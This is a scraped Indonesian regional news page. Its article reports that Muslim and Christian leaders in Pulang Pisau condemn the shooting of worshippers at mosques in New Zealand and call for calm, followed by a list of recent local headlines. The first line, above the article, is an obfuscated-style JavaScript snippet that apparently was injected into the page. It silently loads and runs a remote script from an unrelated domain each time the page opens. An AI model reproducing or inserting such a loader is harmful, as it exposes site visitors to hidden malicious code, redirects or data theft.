(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

MUI dan GKE Pulpis Kecam Aksi Brutal di Selandia Baru


PULANG PISAU, Umat Islam Pulang Pisau (Pulpis) melalui Majelis Ulama Indonesia (MUI) Pulpis mengutuk dan mengecam aksi sadis penembakan puluhan jamaah muslim yang sedang menunaikan shalat Jum’at di Selandia Baru, beberapa hari lalu.

Dikatakan Ketua MUI Pulpis Ustadz H Suryadi jika aksi brutal tersebut jelas dilakukan oleh mereka yang tidak beragama dan patut disebut sebagai teroris.

“Karena agama manapun jelas tidak ada yang mengajarkan untuk membunuh. Kita mengecam keras tindakan tersebut. Dengan kejadian tersebut mari kita ambil hikmahnya agar semakin waspada dan terus meningkatkan rasa persaudaraan antar sesama,” ujar Ustad H Suryadi.

Ia meminta kepada umat Islam di Pulang Pisau agar tidak terprovokasi atas maraknya video aksi penembakan yang santer beredar di media sosial. Menurutnya, reaksi yang terbaik adalah bersikap tenang dan terus mengikuti perkembangan melalui sumber yang bisa dipercaya. Sebagai perlawanan kepada teroris menurut Ustadd H Suryadi organisasi-organisasi Islam tentu sudah mengambil sikap yang sesuai dengan aturan, sehingga ada baiknya umat tidak bergerak sendiri-sendiri.

“Sejauh ini di Pulang Pisau memang belum ada info tentang aksi turun ke jalan untuk mengecam aksi tersebut. Tapi kita yakin semua sudah berdo’a untuk para korban dan keluarga yang ditinggalkan. Saya imbau, mari kita jaga suasana yang aman dan tentram dengan memulainya dari lingkungan kita sendiri,” ungkap H Suryadi.

Komentar serupa  juga datang dari Ketua Resort  Gereja  Kalimantan Evangelis (GKE) Pulang Pisau Pdt Agus Bamonturu. Pihak GKE Pulpis pun mengaku ikut  mengutuk aksi tersebut yang dianggap sebagai tindakan yang biadab. Bahkan aksi tersebut dikatakannya sebagai kejahatan kemanusian paling keji.

“Menangapi aksi tersebut kami dari umat kristen GKE yang juga anggota PGI menyerahkan kepada pihak yang berwewenang untuk menindak tegas para pelaku teror,” ujar Pendeta Agus. (sjy)

Reporter : Sjy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

11 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

11 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

17 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.